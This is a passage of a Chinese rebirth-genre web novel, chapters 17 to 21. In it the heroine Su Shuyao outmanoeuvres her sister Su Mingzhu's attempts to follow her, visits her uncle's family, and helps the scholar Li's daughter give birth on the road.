苏明沛心里一软，忙劝道：“明珠，我没事，跪一跪没什么大不了。” 还是明珠对他最好。 苏舒窈口口声声为他好，出了事，人都看不见。 苏舒窈永远也比不上明珠。 苏明珠小声道：“大哥，你别担心，我有办法能让你拜师成功。” “真的？” “当然是真的，我什么时候骗过你。” 苏明珠没想到苏明沛拜师会失败，还闹得这么难看。 难道上一世，苏明沛拜师成功，真的是苏舒窈的功劳？ 上一世，她回府的时候，大哥已经是李大儒的关门弟子了，听下人们无意中提起，大哥能拜师成功，是苏舒窈送了李大儒一副围棋，还救了李大儒的女儿。 如果苏明沛能拜师成功，真的是因为苏舒窈救了李大儒的女儿，那她也能救李大儒的女儿。 她重活一世，乃天选之子，救人对她来说，不过小事一桩。 到时候，她就是苏明沛的大恩人，也是整个侯府的大功臣。 虽然不清楚苏舒窈怎么救人的，但只要跟着她，这几天密切关注她的动静，到时候再来一个黄雀在后...... 想到这里，苏明珠心里一阵窃喜。 她清了清嗓子：“梨棠怀孕的事，我还没告诉母亲，我的意思，等大哥拜师成功之后再说。” 苏明沛目光感激地看过去：“明珠，你考虑得好生周全。” 紧接着，苏明珠从怀中掏出一本书来：“大哥，要跪一晚上，你看看书。” 她现在有些不确定了，大哥一天到晚在外面晃荡不读书，真的能考中一甲前三？ 苏明沛有些不悦：“明珠，跪着怎么看书？你是不信我能考到一甲前三，像苏舒窈一样，来盯着我学习了？” 苏舒窈最爱盯着他，每次一见面，不是问他看了多少书，便是问他看了几个时辰。 还经常拉着他谈论。 真的很烦。 一个女流之辈，懂什么科举？！ 苏明珠摇摇头：“大哥，你误会了，我是怕你无聊。你要是不想学，就不学，劳逸结合才能事半功倍。” 苏明沛的脸色才稍微好看了些。 从祠堂出来，苏明珠叫来心腹嬷嬷：“这几天，苏舒窈都干了些什么？” 嬷嬷回道：“听说大小姐买了盆天价兰花，赌草赌的，自己侍弄呢，说是能养出极品。” “极品？”苏明珠嗤笑一声。 极品兰花是那么容易养成的？ 没了香料铺子，苏舒窈失心疯了吧。 “让人盯着倚兰居，只要苏舒窈一出门，尤其是出远门，一定要派人来告诉我。” 上一世，苏舒窈好像就是这段时日救的李大儒的女儿，她当时还没回府，不清楚具体时间地点。 一定要把她盯紧了。 第二天，苏舒窈出门逛书市，总感觉背后有双眼睛盯着。 车夫也发现了：“大小姐，后面一直有马车跟着我们。” 苏舒窈：“知道是什么人吗？” 车夫：“虽然对方很隐蔽，但老奴还是认出来了，是府上的马车。” 苏舒窈：“府上的马车？” 她进了家糖水铺子，给店小二二两银子，让他去给身后那辆马车送糖水。 店小二回来告诉苏舒窈：“马车里坐了个小姐，和大小姐差不多大的年岁，脸有些长，面有些苦。” 苏明珠脸长。 至于面苦，大热天捂得那么严实，确实够苦的。 苏舒窈猜测跟踪她的就是苏明珠，听完店小二描述，完全确定了，就是苏明珠。 大热天跟出来，还跟得这么紧，想必有什么要事？ 苏舒窈低头思索，什么事能让苏明珠这么兴师动众...... 秋霜道：“听说二小姐放出话来，能帮助世子拜师李大儒。” 苏舒窈笑了，原来苏明珠想抢先一步拯救李鸢呢。 不知道具体日期，便打算跟着她。 虽然李鸢还有三天才上京，但苏舒窈要去买铺子，不想被苏明珠发现。 从书市出来，苏舒窈转身去了京城最大的酒楼千杯醉，要了个雅间。 伙计进来倒茶的时候，苏舒窈扔出一块银子：“我有急事找谢老板，麻烦小哥去通报一下。” 大约过了半盏茶的事件，谢老板出现了。 酒楼外一辆马车，苏明珠撩开帘子，探出脑袋。 苏舒窈日子过得倒是惬意，买花买书，现在又来酒楼......她是真的不打算和她争侯府中馈？ 还是在暗中使坏？ 第17章 捕蝉 谢老板今儿穿了一件绣金线的云锦，脖子上戴着金项圈，光彩照人得很。 “大小姐，怎么又找来了？” 苏舒窈淡淡地看过去：“谢老板那货，还没卖出去？” 要是卖出去了，苏明珠哪里还有闲工夫跟踪她。 谢老板眯了眯眼：“那批货浸了水，要处理一下吧，想糊弄人，总得做足了样子，你那妹妹笨是笨了点，但不瞎。” 苏舒窈看了一眼窗外：“还要麻烦谢老板，给她找点麻烦。” 谢老板朝着窗外看了一眼，拍着手中的玉骨扇：“这简单，我这就让人去告诉她，说要涨价。” 苏舒窈：“涨价？你就不怕她不要你的货了？” 谢老板：“她不要我的货，便无人敢卖货给她。谁的胆子那么大，敢明目张胆抢我的客人？” 苏舒窈盯着人，上上下下打量了好几遍。 谢老板眯着眼，像只慵懒的猫：“看我干什么？好奇我的身世？” 苏舒窈莞尔一笑：“没有，单纯觉得谢老板很好看。” 好奇死得快，不该问的，她可不会多问。 “不愧是我选中的人，真有眼光。”谢老板叫来身边随从，耳语了一番。 吩咐完，谢老板又道：“你说怎么回事，本来以为她要来借印子钱。利息都谈好了，临到头又说不借了，这不是耍着我玩吗？” 苏舒窈笑了。 苏明珠胆子真大，竟敢借印子钱。 忽然不借了，应该是借到银子了，整个侯府，能借印子给苏明珠的，只有万氏。 万氏精于算计，没有足够的好处，定然不会轻易借出银子。 估计是苏明珠承诺把利息给万氏，万氏同意借出银子。 等到苏明珠亏得裤衩子都不剩，不知道万氏会是个什么表情。 真好，把万氏也坑了。 “我有个办法，能让她继续借印子钱，谢老板要不要听？” 她无意间听说，苏明珠在打听冰、粮食、药材的价格。 既然苏明珠是重生的，想必她也知道，下个月，全国会出现罕见高温，各地爆发瘟疫，京城流民增多。 到时候京城的冰、粮食、药材价格会暴涨。 她迟迟没动手，想必是香料货款太多，没有多余的银钱。 “你直接赊粮食给她，她肯定会要。” 谢老板把玩着手中的玉骨扇，嘴角噙着一抹玩味：“你的意思是，下个月粮食会爆涨？” “是。”苏舒窈很认真点头。 “我以为我的消息灵通，没想到你的消息比我还准。”谢老板眼神变了变：“我可不赊给她，我还等着大赚一笔呢。” 苏舒窈小声哄道：“你赊给她，到时候我告诉你一个法子，让你赚得更多。” 谢老板盯着人瞧了一会儿，“要是赚不了？” 苏舒窈：“要是赚不了，我补给你。谢老板也帮我囤点冰和药材。” 谈好生意，从酒楼出来，苏明珠的马车已经不见了。 苏舒窈高高兴兴去南街看铺子。 现在的南街很是萧条，没什么路人，店铺也没什么生意。 今年元宵，南街会办一个大型花灯展，到时候，天南地北的商人都会聚集，南街会慢慢热闹起来。 紧接着朝廷再出一项政策，南街的铺子就更贵了。 现在南街的铺子，一个三四百两，在掮客的介绍下，苏舒窈看中三个，交了定金。 交了定金，便要写文书，秋霜看着文书上自己的名字：“小姐，这铺子真的写在我名下啊？” “这么贵的铺子，怎么能写在我名下？” 秋霜还是和上一世一样，胆小得很。 苏舒窈吓唬她：“写在我名下，到时候又被抢走怎么办？” 秋霜这才咬牙：“那就写我名下。大小姐，你要不要再写个文书，说明这些铺子其实是你的啊？” 苏舒窈笑了笑：“不用，我信你。” 秋霜抿了抿唇：“大小姐，我绝对不会贪你的铺子。” 苏舒窈拉着她的手：“你不用解释，我都知道。” 看完铺子，苏舒窈却不想回府。 侯府明面是她的家，但那里的人却没把她当成家人。 处处充满了算计。 别看她平时一派云淡风轻，待在侯府的时候，还是觉得心里不得劲。 京城这么大，却找不到容身之处。 秋霜看出她的犹豫，建议道：“大小姐，我们去明厉少爷那里看看吧。” “大小姐给明厉少爷买了宅子，也不知道搬家搬得怎么样了。” 苏舒窈点了点头：“行。” 给苏明厉买的是一座小三进的宅子，宅子位置不太好，买得也便宜，就在南街不远。 宅子门开着，里面的人正在搬东西。 苏舒窈推门进去，迎面就看到一个长相俊朗的少年。 少年眉眼灿若星辰，手上提了两条鱼。 见了她，先是愣了愣，然后脸色一红，朝着里面嚷道：“娘，门口来了个仙女！” 嚷完，撒腿就跑。 苏舒窈笑了笑，带着秋霜跟了进去。 少年大概十六七，应该是老三苏明沣。 刚走到垂花门，便听见大伯娘的声音：“苏明沣，你又下河摸鱼了？！我说过，再看到你下河摸鱼，定要打断你的双腿！” 苏明沣双脚一跺：“娘，跟你说门外来了个仙女，你不去看仙女，盯着我手上的鱼干什么？！” “娘，你快出去问问，那仙女愿不愿给我当嫂嫂，你再不给大哥说亲，大哥都快成老光棍儿了！” 苏明厉正在搬书桌，闻言，停下手上动作，默默递给大伯娘一根笤帚。 紧接着，便传来一阵鸡飞狗跳的声音。 苏舒窈进门的时候，苏明沛已经爬到了树上，大伯娘累得够呛，喘着粗气在树下哄他：“老三，你先下来，娘轻轻打你一下就完事儿。打不到你，娘很没面子。” 苏明沣傻乎乎下来，被大伯娘抓住一顿爆打：“都说了不准下河，还下河，现在涨水，每天都有淹死的人！” “娘，你说话不算话，说了轻轻打一下的，这都重重打了五下了！！” “哎，娘，仙女来了！！仙女来了！” 大伯娘打得起劲：“哪里来的仙女？！说，你是不是又偷偷上山摘菌子了？” “跟你说了，别去山上，隔壁王叔碰到熊瞎子的事，你忘了？！” “哎，是舒窈来了。” 苏舒窈安静地看着苏明沣挨打，在苏明沣的惨叫声中，她笑得灿烂。 微风吹过树梢，沙沙作响。 这样的家，简单，却温馨。 不知什么时候，眼眶有些泛红。 她也好想拥有这般温暖的家人。 第18章 黄雀 “原来不是仙女，是舒窈妹妹啊。”苏明沣走到苏舒窈面前，咧嘴一笑。 他个子比苏舒窈高，靠过来的时候，带着一股阳光的味道。 “我还以为是嫂嫂呢！白高兴一场。我就说，咱家这么穷，怎么会有仙女嫁给大哥......” 一根笤帚从天而降，准确无误地落到苏明沣头上。 “啊！大哥，你打我干什么？！” “胡说八道些什么？还不快给舒窈道歉。”苏明厉冷着脸，长身直立。 他穿了件月白直缀，有着少年人独有的清瘦，像是砚台里新墨的松烟墨，浓烈又大气。 比起初见时，多了几分门阀公子的气度，也有了几分温度。 这样一看，倒比苏明沛更像侯府世子。 苏明沣叫嚷：“哎呀，都是一家人，开点玩笑怎么了？！” 苏舒窈心想，这么快，她和他们，就成一家人了吗？ 苏明沣吊儿郎当，没个正行，在苏明厉凌厉的目光注视下，乖乖走到苏舒窈面前，朝她规规矩矩鞠了一躬：“舒窈妹妹，对不起。” 苏舒窈点了点头：“我记得，我好像比明沣大几天，我是姐姐。” 苏明沣双目一瞪，“怎么可能，我比你高那么多，我怎么可能是弟弟？！” 家里他最小，头上两个哥哥，好不容易来了个妹妹，能过一盘当哥哥的瘾。 还是这么好看的仙女妹妹。 他才不要当弟弟。 苏明沣臭不要脸地宣布：“我个子高，我是哥哥！” 大伯娘的巴掌落了下来，“你再吵吵，也是个弟弟。” 苏明沣气鼓鼓等着大伯娘：“娘，你怎么不早几天把我生下来？！” 大伯娘双手叉腰：“信不信娘把你塞回肚子里去！” “......” 大伯眼睛不舒服，腿也伤着，躺在床上。 苏舒窈去看了一眼，有了丫鬟伺候，大伯虽然病着，比之前清爽多了。 “舒窈，这是我娘做的茯苓饼，你尝一尝，可好吃了。”苏明沣捧着碗，巴巴地递到她面前。 苏舒窈拿了一个饼，咬了一口，“好吃。” 苏明沣咧嘴一笑，像是初升的旭日：“走，带你去看你的院子！” “我的院子？怎么会有我的院子？”苏舒窈还要再问，手被苏明沣拉着往前走。 “你是我妹妹，当然有院子了！”苏明沣大大咧咧地拉着人：“你的院子，是整个宅子最大最漂亮的。” 分给苏舒窈的院子是主院，打理得很干净，大伯娘正在忙着收拾家具。 苏舒窈：“大伯娘，我不常来，不用单独为我准备院子。” 大伯娘笑了笑：“还是要准备一个，偶尔来睡个午觉什么的，也有个歇脚的地方。” 大伯娘看着人，想起了不少往事。 苏舒窈刚被抱到侯府的时候，在万氏身边养过一阵子。 养在万氏身边的时候，隔三岔五生病，后来听说她半夜从床上摔下来，差点死了，老夫人才从万氏手中把苏舒窈接了过来。 苏舒窈和明沣差不多大，她给老夫人请安的时候，时常带着苏明沣，看着两个孩子一起玩。 她亲眼看到，苏舒窈伸手要娘亲抱，万氏嫌恶地把人推开，小小的苏舒窈绊了个趔趄，摔坐在地上，一脸茫然。 小时候万氏就不喜欢苏舒窈，长大了更不会喜欢。 不用问她都知道，苏舒窈在侯府过得不好。 这些她也没说，只是看着苏舒窈笑：“你把这儿当成家，要不是你，我们还住在原来那个小杂院，明厉也读不成书。你是我们全家的大恩人，必须有个院子。” 苏明沣惊讶地张开嘴：“啊？原来这座宅子是舒窈买的啊，我还以为大哥发达了！” 说完，他撩起衣摆，朝着苏舒窈跪下去，结结实实磕了三个响头：“谢谢！” 苏舒窈愣了：“明沣快起来，不过一个院子而已。” “什么一个院子而已？”苏明沣认真道：“对你来说是一个院子，对我们来说可是一辈子的大事了！” “舒窈，你长得好，心地更善良！我要给你立长生牌！” “从今天起，我就是你亲哥哥，只要你一声令下，我必定肝脑涂地、万死不辞！” 苏明沣的眼睛干净又明亮，桀骜又充满了朝气。 苏舒窈看着他笑。 原来被人感谢，是这样的感觉。 这个世上，还是有知恩图报的人。 她没有帮错人。 “别说了，我熬了绿豆汤，一起喝两碗。”大伯娘拉着人往厅堂走：“舒窈，今晚留下来吃饭，我做你最爱吃的番茄炒鸡蛋。” 苏舒窈愣了愣：“大伯娘，你怎么知道我爱吃这道菜？” 大伯娘笑道：“你小时候有些挑食，但每次只要有番茄炒鸡蛋，你就能吃两碗饭。” 苏舒窈笑了。 她小时候有段时间，确实喜欢吃这道菜。 现在也爱吃。 酸酸甜甜的西红柿，很是下饭。 万氏不知道、侯府所有人都不知道她爱吃什么，大伯娘却记得。 怪不得最后帮她收尸的，会是大伯娘。 “行，尝尝大伯娘的手艺。” 被人惦记的感觉，好似躺在初春的草坪上，幸福又温暖。 苏明沣跟在后面嚷嚷：“我娘没有女儿，看见漂亮姑娘就想拐回家！” 大伯娘回头瞪了他一眼：“尽胡说！” 苏舒窈去了大伯娘家，万氏和苏明珠很快便知晓。 苏明珠：“母亲，姐姐怎么和大伯一家联系上了？” 她不记得上一世大伯一家什么情况，应该是不太好，要是大伯飞黄腾达，她定然是听说的。 万氏手上捏着佛珠，翻开着手中佛经：“一家子病秧子穷鬼，别人躲都躲不及，她还上赶着去招惹，真是愚不可及！” 苏明珠叹了口气：“不知道姐姐怎么想的，家里正经的亲人不在乎，跑外人家里尽孝。” “还是这么不堪的人家。” 万氏拉着苏明珠的手：“还是明珠贴心。” 苏明珠道：“母亲，能不能请你帮个忙，这几天如果姐姐要出门，你拘着她，不准她出去。” 万氏：“行，好不容易把大哥一家赶走，别让她给我召回来了。” 第二天，苏舒窈看了下头顶烈阳：“吩咐下去，说我中午要去南郊山上摘菌菇。” 秋霜眼珠子都瞪圆了：“大小姐，菌菇要下雨之后才有。这么热的天，大中午去小心中暑！” 苏舒窈：“你吩咐下去就是。” 秋霜虽然万般不耐，但大小姐的话，她不可能不听。 刚吩咐下去，万氏院子里的丫鬟就来了：“大小姐，夫人让你过去一趟。” 苏舒窈笑了笑：“行，马上就去。” 苏舒窈被万氏拘着抄经，苏明珠坐着车，去了南郊山上摘菌菇。 正午太阳毒辣，苏明珠顶着烈日，心里美滋滋等着救人。 第19章 在后 春景园，苏舒窈坐在万氏的小佛堂里，安静地抄着佛经。 “还是明珠小姐贴心，知道夫人怕热，又让人送来两盆冰。” 按照万氏的份例，一天只有一盆冰，但苏明珠当家之后，万氏一天要用三盆冰。 苏舒窈那里，一天半盆冰都没有。 这是把她的份额送到万氏这里做人情来了。 苏舒窈紧了紧褙子，吸了口凉气。 万氏手上捏着佛珠，一派慈眉善目：“抄经，心要诚，心诚则灵，心诚方能感动上苍。” 苏舒窈淡淡一笑：“夫人，我衷心祝愿全家人一切顺利，尤其是明珠妹妹。” 万氏盯着她的脸，想从她脸上分辨出嘲讽的情绪，借此罚她。 可是，看了半天，苏舒窈始终淡淡的，疏朗沉静，看不出一点别样的情绪。 万氏继续找茬：“听说了你去了大伯哪里？怎么会想的？” 苏舒窈回道：“在花市偶遇了苏明厉，听说大伯病得厉害，便去看看。” 万氏手上捏着佛珠：“他们一家心思歹毒，唯利是图，偶尔去看一眼可以，不可深交。” 苏舒窈抬眼看过去，眼神露出一抹疑惑：“夫人菩萨心肠，怎么会说出如此尖酸刻薄的话来？” 万氏最是讲究脸面，在外总爱摆出一副慈悲心肠，听到这样的评价，当即便破了防，声音也变尖利了几分：“苏舒窈，我是为你好！！” “你不知道，当年分家的时候，大伯一家多么贪婪、歹毒！” “他们现在是不是过得很惨？那是早年坏事干太多，遭报应了！” “你看吧，他们一家多行不义必自毙！” 万氏好像被踩了脚的狗，哇哇大叫。 苏舒窈觉得有些好笑。 她佯装被吓到：“夫人，就算大伯一家再坏，你也不能诅咒他们去死啊？” 你的慈悲呢？ 你不是心肠最软吗？ “慈悲”的老太太，骂起人来，好生恶毒。 万氏面部狰狞，狠声道：“你不听我的，迟早要吃亏！” 年长者打压小辈的惯用话术。 每次一不听话，万氏就会说，“这是为你好”、“不听老人言，吃亏在眼前”。 上一世听了太多万氏的话，才落得那种下场。 这一世，万氏的每一句话，都好像笑话。 苏舒窈淡淡地回答：“多谢夫人，我知道了。” 她看到了万氏眼中的恐惧。 从大伯一家手中夺取爵位，万氏是心虚的。 万氏诅骂大伯一家贪婪、歹毒，其实真正贪婪、歹毒的，是她。 所以，当她提到大伯的时候，万氏才这么破防。 苏舒窈一点也不怕万氏了。 万氏也不过色厉内荏。 万氏捂着胸口，平复下来：“继续抄吧，抄完两遍就回去。” 她是一刻也不想看到苏舒窈了，看到苏舒窈就心梗。 苏舒窈安静地抄写经书，没一会儿，丫鬟来报：“不好了，夫人，二小姐病倒了！” 几个婆子手忙脚乱地将苏明珠抬了进来。 苏明珠满脸通红，躺在担架上弱弱地喘着气。 苏舒窈捏着帕子，假心心上前关心：“妹妹，你这是怎么了？” 苏明珠身边一个叫翠红的丫鬟一把把苏舒窈推开：“大小姐，二小姐这个样子，全是被大小姐害的！” 翠红扑到万氏脚边嚎叫：“夫人，你可要给我们二小姐做主啊！我们二小姐被大小姐害惨了！” 苏舒窈看了身后的刘妈妈一眼，刘妈妈会意，上前一步，一巴掌扇到翠红脸上，指着翠红鼻子大骂：“好你个贱蹄子，怎么和大小姐说话的？！” “大小姐今儿一直待在府上，一直在夫人这里抄经，为二小姐祈福，你可别胡说八道！” “夫人，定是这个贱婢把二小姐害了，现在怪到大小姐头上，夫人可别轻饶了这个贱婢！” 苏舒窈上前拉住刘妈妈，“刘妈妈，别激动，先问一问翠红，究竟是怎么一回事。” 万氏这才看向翠红：“说，二小姐怎么回事？” 翠红气呼呼道：“大小姐今儿说要去南郊山上摘野菌，二小姐去了，被热中暑了。” 苏舒窈低头笑了：“我说要去摘野菌，怎么会害到妹妹？妹妹去摘野菌，又关我什么事？” 刘妈妈上前又给了翠红一个巴掌：“贱婢，简直是胡说八道，这么热的天，上哪摘野菌？！二小姐又不是傻子，就算要摘野菌，也有下人去摘，二小姐怎么会吃饱了撑的自己去摘？！” “夫人，一定是这贱蹄子胡说八道，夫人一定要严刑拷打，别让这贱蹄子害了二小姐！” 翠红还要再说，苏明珠缓缓睁开眼：“翠红，闭嘴。” “母亲，不关姐姐的事，是我身子弱，歇一歇就好了。” 正午时分，苏明珠带着稳婆来到了南郊山脚，等了一个多时辰，都没看到一辆马车经过。 想离开，又怕错过了李鸢的马车。 咬牙继续等，还上山去摘了野菌，结果被热晕了。 她有些怀疑，是苏舒窈知道了什么，故意阴她。 苏明珠盯着苏舒窈的脸，想从她脸上看出一点异常。 苏舒窈乌发高挽，在一众喧嚣声中，仿若一座沉静的山岳。 她的眼神澄澈明净，反而衬得苏明珠獐头鼠目。 苏明珠看了两眼便移开了目光。 苏舒窈离开春景园后，万氏问道：“明珠，究竟怎么回事？” 苏明珠不好说是为了救李大儒的女儿，只是支吾道：“没什么，意外罢了。” “如果明日姐姐出门，还要劳烦母亲帮忙拦截。只要拦着姐姐，我就有办法让大哥拜师成功。” 第二天一早，苏舒窈又准备出门。 这回不去南郊，去北郊。 她要去北郊河边钓鱼。 秋霜虽然疑惑，依然去准备。 结果，临到出门的时候，万氏又来叫人，又让苏舒窈去抄经。 苏舒窈乖乖去了。 等到下午，苏明珠再次被抬了回来。 她这回带足了冰块，但马车不小心掉落水中，差点被淹死。 第三天，苏舒窈还要出门，这回，万氏没来叫人。 苏舒窈终于出了门。 苏明珠已经跟了两天，不可能轻易放弃，第三天依然跟着。 苏舒窈去了茶楼喝茶听书，苏明珠藏在马车里等了一下午。 到了第四天，正是上一世苏舒窈救助李鸢的日子。 苏明珠还要跟着，但稳婆称病，不愿意跟去了。 正午太阳毒辣，稳婆受不了了，苏明珠出双倍的价钱，稳婆都不愿意去了。 没多久，便有谣言传出来：“威远侯府二小姐有些毛病，专门喜欢带着稳婆出门晒太阳。” 第20章 救人 稳婆不肯一起，苏明珠没办法，只得让人重新去找一个稳婆。 好不容易重新找到稳婆，又被告知，香料供货商送货来了，需要她当面验收。 三万两的货品，当面签收，银货两讫。 苏明珠权衡利弊，决定派一个管事媳妇跟着苏舒窈，她自己去验货。 香料供货商一共有三个老板，苏明珠一眼就看到了谢老板。 主要是谢老板穿得太富贵了，身上的云锦是千金难求的贡品，手上的玉扳指，蹀躞带上挂的玉牌，也是成色极好的祖母绿。 更别说谢老板那张让人一见难忘的玉面，举手投足间流露出的傲人贵气。 一般人家哪里能培养出这般气质出众的男子，定是哪个王孙世家的公子哥。 只是，这样的公子，怎么会来经商？ 苏明珠暗地里向人打听：“谢老板是哪家的公子？” 被打听的人也不知道：“只知道他手眼通天，什么货都能拿到，具体身份不可知，有人说他是皇室的人，有人说他是世家大族的公子，也有人说他来自隐世大族，说什么的都有。反正不一般。” 神秘且高贵。 一下就勾起了苏明珠的兴趣。 虽然没有问出结果，苏明珠还是打定主意要和谢老板结交。 苏明珠带了两个调香师来收货，3万两白银的货，需要谨慎。 两个调香师被请到库房看货，苏明珠准备跟过去，转身的时候，不小心撞上了人。 头上的金步摇被碰到了地上，发出清脆的响声。 苏明珠眉心一皱，开口要骂，忽然对上谢老板那双深情的桃花眼。 骨节般的手指拾起地上的步摇：“二小姐，失礼了。” 苏明珠被他含笑的眉眼晃了眼，心底那点气瞬时烟消云散了。 “天气炎热，二小姐不如到后院喝杯凉茶，库房闷得很，可不是二小姐这般的金枝玉叶去的地儿。” 谢老板嗓音低沉，仿若空山幽谷雨水落入清泉的响动，沁人心脾得很。 苏明珠心口一跳，“这怎么可以，验货这样的大事，我定要去守着的。” 谢老板抬眼朝着苏明珠看去，一双桃花眼神采飞扬：“二小姐被热出个好歹，我可要心疼了。” 苏明珠心口跳得更厉害了。 前几日被苏舒窈害得中暑，现在身子都还没好完全，听说库房闷热，苏明珠还是有些担心。 热晕事小，出丑事大。 心里更期待和谢老板一起喝茶。 这么好看的人，卖的货怎么会有问题？ 谢老板这般手眼通天，要是结交到手，今后岂不是有赚不完的银子？ 苏明珠被谢老板看得心神荡漾，扭捏了一会儿，让翠红去交代两个调香师好好看货，自己跟着谢老板去了后院喝茶。 殊不知，去库房的两位香料师也被请去了喝茶。 谢老板把玩着手上的玉扳指，眼中藏着玩味：“二小姐年纪轻轻，可真能干。” 苏明珠谦虚道：“谢老板过奖了。” 聊了两句，谢老板开口道：“不知道二小姐要不要做粮食生意，某这里正好有一批粮食。” 苏明珠原本就打算囤粮，但碍于香料铺子的生意，手上没有多余的银钱。 遗憾地表示：“多谢谢老板提携，我也想做，就是吧，收了香料，手上银钱不够。” 少赚了银子，心如刀绞。 谢老板笑道：“如果二小姐实在是想做，在下也可以赊给二小姐的，二小姐付点利息钱就行。” 苏明珠愣了愣：“为什么对我这么好？” “相逢即是缘，在下和二小姐一见如故，很喜欢和二小姐一起做生意。”谢老板眉眼一扬：“二小姐不用马上答复，考虑清楚再派人告诉在下即可。” 苏明珠立刻动摇了。 她原本就打算屯粮的，只是因为没钱便迟迟没有行动，现在遇到一个主动送粮的，真是瞌睡遇到枕头。 这个谢老板，应该是看上她了，对她这么殷勤。 她可不是随便的女人。 也不知道这谢老板究竟是什么身份，不是什么人都能配得上她侯府嫡小姐的身份的。 ~ 苏舒窈在城里绕了大半圈，甩掉身后跟踪的马车，直奔西郊。 上一世，西郊田地出事，她去查看的途中遇到了李鸢。 这一世，她早有准备，马车刚驶入官道，便碰到了李鸢的马车。跟上一世一样，马车车辘轱断裂了。 “小姐，我家夫人姓李，夫家是浔阳知府，我家夫人的马车坏了，身子也有些不好，能不能请小姐帮个忙？” 一个管事媳妇顶着满头大汗，满脸通红地拦下苏舒窈的马车。 苏舒窈撩开帘子，“快带我去看看。” 李鸢躺在马车里，疼得满头大汗，羊水破了，下身湿了一片。 “快把夫人抬到我马车上，就近找户人家准备生产。”苏舒窈沉稳指着马夫：“你把马车解了，快马加鞭到前面，找户农家借住。找到之后先别回来，让人烧热水、熬锅鸡汤、准备一碗红糖鸡蛋、草纸、醋水、甘草黄连，还要一个干净的房间，吩咐好之后，再回来带我们过去。” 管事媳妇诧异，这个小姑娘也太镇静了吧。 说话温温柔柔的，长相也偏柔和，但说出话却很坚定，让人很放心。 管事媳妇也跟着镇定下来，有条不紊地指挥下人将李鸢转移到另一辆马车上。 上一世，苏舒窈确实被吓得不轻，一个未出阁的小姑娘，遇到这样的大事，难免会慌乱。 有了上一世的经验，再指挥起来，便顺畅多了。 在苏舒窈的引导下，一切有条不紊地行进，“我身边这位刘妈妈有接生的经验，可以先让刘妈妈先看着夫人，刘妈妈一个人肯定不够，我让人再去周围寻两个接生婆。” 管事媳妇：“都听小姐的。” 苏舒窈又让人去找接生婆，接生婆找好，才又问：“夫人在京中有什么亲人，要不要派人去带个信。” 管事媳妇道：“我家夫人姓李，父亲是李大儒，麻烦小姐去李大儒府上捎个信。” 听到李大儒三个字，苏舒窈并没有太大反应：“行，我马上安排，先去看看夫人怎么样了？” 李鸢原本心头慌乱，到了农户家里，得知水烧好了，鸡汤炖上了，一切生产用品都准备好了，莫名安心下来。 农家房间虽然简陋，但是铺上了干净的被褥。 刚躺下，刘妈妈便端来红糖鸡蛋。 一切都让人很安心。 第21章 机会 上一世，李鸢过度惊慌，导致产程不顺，生了一天一夜都没生下来，孩子生下来便身体虚弱。 这一世，不消两个时辰，便将孩子生了下来，母子平安。 “多谢苏姑娘，要不是姑娘出手相救，我和孩子恐怕难逃一死。”李鸢二十多岁，因为怀孕，身材有些圆润，她看着怀中的孩子，眼眶微红。 “夫人吉人天相，就算没有我，也能平安生产。”苏舒窈温声安抚：“夫人好生休息，产后切忌伤心。” 李鸢一见苏舒窈就喜欢：“苏姑娘，等我出了月子，一定要好好谢你。” 两人正说着话，李大儒来了。 李大儒听说女儿的遭遇，走得很急，苏舒窈从房中退了出来，把空间让给了这对父女。 李鸢不可能在农家坐月子，李大儒不放心，安排着把人带回府，临走时，李大儒亲自来感谢：“多谢苏姑娘，苏姑娘大恩，李某无以为报，苏姑娘有什么要求只管开口。” 苏舒窈不卑不亢道：“本就是举手之劳，不敢挟恩相报，但听说李大儒学识渊博、学富五车，小女家中有一兄长，正准备科举，不知能否请李大儒指点一二。” 李大儒有些犹豫，自从当过太子启蒙老师，他便不再收徒。 李鸢笑道：“爹，人家只是让你指点一下，又没让你当老师，你犹豫什么？” 上一世，李大儒也只是答应指点苏明沛，是苏明沛到处宣扬他是李大儒关门弟子，后来苏明沛身居高位，李大儒不好得罪，也没有反驳。 苏明沛利用李大儒的关系，与太子和其他皇子都攀上了交情。 上一世苏明沛事业能成功，拜李大儒为师是最关键的一环。 这一世，苏明沛注定与李大儒无缘了。 苏舒窈笑道：“能得到大儒指点已是三生有幸，大儒放心，我家大哥绝对不会强行拜师。” 李大儒笑道：“是我狭隘了，苏姑娘改日将兄长带上门就是，指点一番没有问题的。” 把人交给李大儒，苏舒窈就回府了。 她刚回府，苏明珠就找上门来了。 苏明珠一来，苏舒窈便知道她想干什么。 无非是想从她这里套话，看看她是否遇到了李鸢。 苏明珠不是一个人来的，还带来了小妹苏明芷，两人手挽手，看起来亲热得很。 苏明芷比苏舒窈小两岁，苏舒窈从小对她很是宠爱。 苏明芷小时候身体不太好，每次生病，都闹着不肯喝药。 万氏最烦小孩子生病，苏明芷每次生病，万氏都找借口躲着。 全是苏舒窈陪着她看病，给她讲故事，哄着她吃药。 苏明芷爱吃的东西，苏舒窈还学着给她做。 原本以为她会顾念小时候的感情，结果苏明珠一回来，她就不和苏舒窈好了，反而每天跟在苏明珠身后。 上一世，苏明芷非要嫁穷书生，苏舒窈极力阻止，分析利弊，苏明芷嫁入高门，一生荣华。 直到死的时候，她才知道，苏明芷恨她入骨。 恨她拆散了她的姻缘，她把婚后的不顺，全部怪到了苏舒窈身上。 这一世，苏明芷要嫁穷秀才，她一定举双手双脚赞成。 苏舒窈像看戏子一般看着人，“妹妹来干什么？” 苏明珠没有说话，看了苏明珠一眼，苏明芷开口道：“姐姐今日去哪儿了？” 带着一股趾高气扬的口吻，审犯人一样。 “母亲说了，未婚女子天天往外面跑，像什么话？” 苏舒窈淡然道：“今后不出门了。” 苏明珠心里急，不出门怎么行，她还等着截胡呢：“明芷妹妹，你别这样，姐姐出门，应该有要事。” 苏明芷冷哼一声：“她又不管家，又不管铺子，出去能干什么？苏舒窈，你怎么变得这么贪玩？！” 苏明珠拉了拉她的手：“姐姐别生气，明芷妹妹也是担心你，明芷妹妹刀子嘴豆腐心，姐姐千万别放在心上。” 苏舒窈觉得好笑，她真心待苏明芷，只不是严厉了一些，苏明芷便讨厌她。 苏明珠拿她当枪使，她还觉得苏明芷很好。 脑子缺根筋。 苏舒窈看向苏明珠：“有话快说，说完便离开吧。” “姐姐，我......”苏明珠一开口，就又红了眼。 苏明芷立刻大声道：“苏舒窈，你又欺负明珠姐姐，我不要喜欢你了！” 苏明芷在苏舒窈面前很是随便，因为她知道，不管怎么对苏舒窈，苏舒窈都不会放在心上，依然会对她好。 明珠姐姐不一样，明珠姐姐心眼小，要记仇，又爱哭，她不敢在苏明珠面前放肆，她只敢在苏舒窈面前肆无忌惮。 